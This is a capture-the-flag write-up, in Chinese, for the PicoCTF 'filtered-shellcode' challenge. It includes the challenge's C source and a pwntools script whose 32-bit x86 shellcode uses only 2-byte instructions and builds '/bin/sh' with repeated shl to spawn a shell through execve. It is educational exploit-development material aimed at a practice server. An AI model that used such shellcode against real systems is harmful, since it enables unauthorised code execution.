# PicoCTF - filtered-shellcode
## Background
Shell Code
Reverse
## Source code
:::spoiler Source Code Got From Server After Get Shell
```cpp!
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#define MAX_LENGTH 1000
void execute(char *shellcode, size_t length) {
if (!shellcode || !length) {
exit(1);
}
size_t new_length = length * 2;
char result[new_length + 1];
int spot = 0;
for (int i = 0; i < new_length; i++) {
if ((i % 4) < 2) {
result[i] = shellcode[spot++];
} else {
result[i] = '\x90';
}
}
// result[new_length] = '\xcc';
result[new_length] = '\xc3';
// Execute code
int (*code)() = (int(*)())result;
code();
}
int main(int argc, char *argv[]) {
setbuf(stdout, NULL);
char buf[MAX_LENGTH];
size_t length = 0;
char c = '\0';
printf("Give me code to run:\n");
c = fgetc(stdin);
while ((c != '\n') && (length < MAX_LENGTH)) {
buf[length] = c;
c = fgetc(stdin);
length++;
}
if (length % 2) {
buf[length] = '\x90';
length++;
}
execute(buf, length);
return 0;
}
```
:::
## Recon
這一題沒有很難,但我沒有解出來,主要是因為reverse看不懂,完了QAQ,IDA都亂翻,只能求助於[^pico_pwn_filtered_shellcode_wp],其實很簡單,好像也沒有filter的成分在,如果限制只能用每次兩bytes寫shell code不算的話
1. 其實就兩個function,一個是main function,另外一個是execute function,execute function主要會每一個shell code中間插入兩個nop,然後用function pointer的方式執行,所以我們的目標是寫一個shell code script開server的shell
2. 重點是shell code的instruction只能用2 bytes的instruction,所以沒辦法用類似`mov eax, 0x6e69622f`的這種方式,會GG,原因出自於execute function的for loop,他會把我們寫的shell code用2 bytes的方式切開,然後中間塞兩個nop(也就是兩個\x90,也是兩個bytes),所以這其實就是限制我們只能用2 bytes寫shell code
```cpp!
if ((i % 4) < 2) {result[i] = shellcode[spot++];}
else {result[i] = '\x90';}
```
4. 所以不能隨便用exploit db上找到的shell code複製貼上,或是用以下payload,必須要善用`shl`,只要shl 16次(也就是2 bytes)就可以同時方式0x6e69622f,效果和`mov eax, 0x6e69622f`一樣
```asm!
payload = asm("""
mov eax, 0x6e69622f
push eax
mov eax, 0x0068732f
push eax
xor eax, eax
xor ebx, ebx
xor ecx, ecx
xor edx, edx
mov eax, 0xb
lea ebx, DWORD PTR [esp]
int 0x80
""")
```
## Exploit - Write Properly Shell Code
```python!
from pwn import *
r = process('./fun')
# r = remote('mercury.picoctf.net', 35338)
r.recvline()
payload = asm("""
/*Put the syscall number of execve in eax*/
xor eax, eax
mov al, 0xb
/*Put zero in ecx and edx*/
xor ecx, ecx
xor edx, edx
/*Push "/sh\x00" on the stack*/
xor ebx, ebx
mov bl, 0x68
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
mov bh, 0x73
mov bl, 0x2f
push ebx
nop
/*Push "/bin" on the stack*/
mov bh, 0x6e
mov bl, 0x69
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
shl ebx
mov bh, 0x62
mov bl, 0x2f
push ebx
nop
/*Move the esp (that points to "/bin/sh\x00") in ebx*/
mov ebx, esp/*Syscall*/
int 0x80
""")
r.sendline(payload)
r.interactive()
```
## Reference
[^pico_pwn_filtered_shellcode_wp]:[PicoCTF - Filtered Shellcode [Pwn]](https://cyb3rwhitesnake.medium.com/picoctf-filtered-shellcode-pwn-3d69010376df)